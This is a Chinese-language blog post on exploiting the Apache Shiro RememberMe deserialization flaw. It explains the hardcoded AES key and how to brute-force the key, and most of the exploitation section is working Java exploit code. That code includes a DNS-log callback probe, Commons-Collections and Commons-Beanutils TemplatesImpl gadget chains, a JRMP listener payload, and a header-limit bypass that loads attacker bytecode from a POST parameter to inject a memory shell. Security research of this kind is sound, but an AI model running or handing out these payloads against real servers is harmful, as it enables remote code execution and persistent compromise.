本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。
基础知识
组件
Shiro有三大核心组件,即Subject、SecurityManager 和 Realm
- Subject: 认证主体。Subject代表了当前的用户。包含Principals和Credentials两个信息。
- SecurityManager:安全管理员。是Shiro架构的核心。与Subject的所有交互都会委托给SecurityManager,它负责与Shiro 的其他组件进行交互。
- Realm:域。Shiro从Realm中获取安全数据(如用户、角色、权限),就是说SecurityManager要验证用户身份,那么它需要从Realm中获取相应的用户进行比较,来确定用户的身份是否合法
一些概念:
- Authentication: 身份认证、登录,验证用户是不是拥有相应的身份;
- Authorization:鉴权,验证某个已认证的用户是否拥有某个权限
- Session Manager: 会话管理
- Cryptography: 加密,保护数据的安全性
- Concurrency: Shiro支持多线程应用的并发验证,即,如在一个线程中开启另一个线程,能把权限自动的传播过去
- Remember Me:会话保存
配置
web.xml
,shiro通过filter进行注入。
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">
<listener>
<listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ShiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
shiro.ini
用于配置具体权限
[main]
shiro.loginUrl = /login.jsp
[users]
# format: username = password, role1, role2, ..., roleN
root = secret,admin
guest = guest,guest
presidentskroob = 12345,president
darkhelmet = ludicrousspeed,darklord,schwartz
lonestarr = vespa,goodguy,schwartz
[roles]
# format: roleName = permission1, permission2, ..., permissionN
admin = *
schwartz = lightsaber:*
goodguy = winnebago:drive:eagle5
[urls]
/login.jsp = authc
/logout = logout
/account/** = authc
/remoting/** = authc, roles[b2bClient], perms["remote:invoke:lan,wan"]
漏洞分析
影响版本为 shiro 1.x < 1.2.5
接口 org.apache.shiro.mgt.RememberMeManager
定义了getRememberedPrincipals
方法用于在指定上下文中找到记住的 principals,也就是 RememberMe 的功能。
public interface RememberMeManager {
PrincipalCollection getRememberedPrincipals(SubjectContext var1);
void forgetIdentity(SubjectContext var1);
void onSuccessfulLogin(Subject var1, AuthenticationToken var2, AuthenticationInfo var3);
void onFailedLogin(Subject var1, AuthenticationToken var2, AuthenticationException var3);
void onLogout(Subject var1);
}
AbstractRememberMeManager
是RememberMeManager
的一个抽象实现类
其实现的getRememberedPrincipals
方法代码如下:
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException var4) {
principals = this.onRememberedPrincipalFailure(var4, subjectContext);
}
return principals;
}
会调用getRememberedSerializedIdentity
获取序列化的principals
,CookieRememberMeManager
类实现了这个方法,代码如下:
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
.............
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response);
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
return null;
}
}
}
}
获取Cookie中rememberMe
字段的值并base64解码,传给AbstractRememberMeManager#convertBytesToPrincipals
方法。代码如下:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}
return this.deserialize(bytes);
}
先进行解密再反序列化。
加解密相关代码定义在AbstractRememberMeManager
类中,使用AES-128-CBC算法。
KEY硬编码在AbstractRememberMeManager
中。
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
触发DNSLOG:
public class Exp {
public static void main(String[] args) throws Exception{
URLDNS urldns = new URLDNS();
Object expobj = urldns.getObject("http://log.c37af96d-ec4e-43e4-8bd3-3c347d9eb7b8.dnshook.site");
System.out.println(ser(expobj));
}
public static byte[] encrypt(byte[] data, byte[] key) {
CipherService cipherService = new AesCipherService();
ByteSource byteSource = cipherService.encrypt(data, key);
byte[] value = byteSource.getBytes();
return value;
}
public static String ser(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
byte[] encrypted = encrypt(byteArrayOutputStream.toByteArray(), Base64.decode(KEY));
return Base64.encodeToString(encrypted);
}
Key检测
当序列化payload使用错误的Key的时候,AbstractRememberMeManager#decrypt
解密会报错,然后调用forgetIdentity
方法,然后会调用removeFrom
方法,会给返回包加上rememberMe=deleteMe
cookie。
所以在爆破Key的时候当返回包没有rememberMe=deleteMe
时就证明Key正确。
反序列化利用链
CC链改造
但shiro反序列化时 ClassResolvingObjectInputStream 为 shiro 框架实现的自定义类
在使用一些 Gadget 如 CC6 时会报错:Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;]
如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。
让InvokerTransformer
直接调用TemplatesImpl
的newTransformer
方法。代码如下:
public class Exp {
public static void main(String[] args) throws Exception{
Templates templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()});
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","asd");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
HashMap<Object, Object> map2 = new HashMap<Object, Object>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
map2.put(tiedMapEntry, "bbb");
map.remove(templates);
setFieldValue(lazymap, "factory", invokerTransformer);
System.out.println(ser(map2));
}
}
commons-collections:4.0
依赖的CC2可以直接用,但CC4不能用
CB链改造
BeanComparator
默认使用org.apache.commons.collections.comparators.ComparableComparator
。在没有CC依赖时会报错。
CB链是要调用BeanComparator#compare
方法:
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
然后调用PropertyUtils.getProperty
触发getter。
触发点在this.comparator.compare(value1, value2);
前面,所以将ComparableComparator
替换,甚至设为null也不会有影响。
POC:
public class Exp {
public static void main(String[] argss) throws Exception{
Templates templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()});
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","asd");
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "comparator", null);
setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
System.out.println(ser(queue));
}
}
RMI反序列化
二次反序列化思路,既然这里的反序列化禁止了非Java 自身的数组得反序列化,那通过RMI反序列化再次触发原生反序列化即可。
用ysoserial.payloads.JRMPClient
触发RMI连接,本地用ysoserial.exploits.JRMPListener
监听连接然后发送CC1序列化数据。
POC:
public class Exp {
public static void main(String[] args) throws Exception{
String host = "127.0.0.1";
int port = 1234;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
System.out.println(ser(proxy));
CommonsCollections1 commonsCollections1 = new CommonsCollections1();
Object expobj = commonsCollections1.getObject("calc");
JRMPListener jrmpListener = new JRMPListener(1234, expobj);
jrmpListener.run();
}
}
绕过Header长度限制
POST传参
Tomcat默认限制Header不能超过8192字节。
在org.apache.coyote.http11.AbstractHttp11Protocol
定义了:
org.apache.coyote.http11.Http11InputBuffer#fill
方法会检测是否超过限制。
private boolean fill(boolean block) throws IOException {
if (log.isTraceEnabled()) {
log.trace("Before fill(): parsingHeader: [" + this.parsingHeader + "], parsingRequestLine: [" + this.parsingRequestLine + "], parsingRequestLinePhase: [" + this.parsingRequestLinePhase + "], parsingRequestLineStart: [" + this.parsingRequestLineStart + "], byteBuffer.position(): [" + this.byteBuffer.position() + "], byteBuffer.limit(): [" + this.byteBuffer.limit() + "], end: [" + this.end + "]");
}
if (this.parsingHeader) {
if (this.byteBuffer.limit() >= this.headerBufferSize) {
if (this.parsingRequestLine) {
this.request.protocol().setString("HTTP/1.1");
}
throw new IllegalArgumentException(sm.getString("iib.requestheadertoolarge.error"));
}
} else {
this.byteBuffer.limit(this.end).position(this.end);
}
尝试反序列化部分和要加载的字节码分离,反序列化TemplatesImpl执行代码,从POST参数中获取base64编码的java字节码,然后调用defineClass
加载。用javassist直接生成的java字节码比javac编译出来的体积小很多。POST传参的数据长度不限。
public class Exp {
public static void main(String[] argss) throws Exception{
Templates templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{generate()});
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","asd");
AttrCompare attrCompare = new AttrCompare();
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "comparator", null);
setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
System.out.println("序列化数据:");
System.out.println(ser(queue));
System.out.println("\n\n字节码:");
System.out.println(Base64.encodeToString(getPayloadClass()));
}
public static byte[] generate() throws Exception{
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Injector2");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("......");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}
通过javassist生成类的构造函数代码,修改自Tomcat Echo:
{
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = null;
Thread[] threads = null;
try{
f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
threads = (Thread[]) f.get(group);
} catch(Exception e){}
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);obj = f.get(obj);
try{
f = obj.getClass().getDeclaredField("handler");
}catch (NoSuchFieldException e){
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getSuperclass().getDeclaredField("global");
}catch(NoSuchFieldException e){
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List)(f.get(obj));
for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object note = req.getClass().getDeclaredMethod("getNote", new Class[]{int.class}).invoke(req, new Object[]{Integer.valueOf(1)});
String base64encoded = (String) note.getClass().getDeclaredMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{"data"});
if (base64encoded == null) {
continue;
}
byte[] code = org.apache.shiro.codec.Base64.decode(base64encoded);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = ClassLoader.getSystemClassLoader();
}
try {
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class expClass = null;
try{
expClass = Class.forName("Payload"); // 方便多次加载
} catch (Exception e){
expClass = (Class) defineClassMethod.invoke(classLoader, new Object[]{code, Integer.valueOf(0), Integer.valueOf(code.length)});
}
expClass.newInstance();
} catch (Exception e){
e.printStackTrace();
}
}
} catch (Exception e){
}
}
}
最终header中的payload长度为4736,可以绕过长度限制。
POST data参数传Payload类的base64编码后的字节码。
javassist生成代码有一些神奇的报错,比如数字需要用Integer.valueOf
包一下,还有就是POST传参的base64 payload需要url编码。
将内存马注入器写到无参构造函数里,编译然后Base64编码,POST传参即可
分段传输
可以将payload分成多段,先分段把payload保存在服务器上,然后再加载。
输出到文件
将字节码分段写入/tmp
目录下,写完之后再最后读取加载,这种会有文件落地,不多说了。
写入系统配置
代码System.setProperty("payload","");
可以写入java系统配置。
分段写入后,读取加载即可:
System.getProperty("payload");
参考
https://su18.org/post/shiro-5/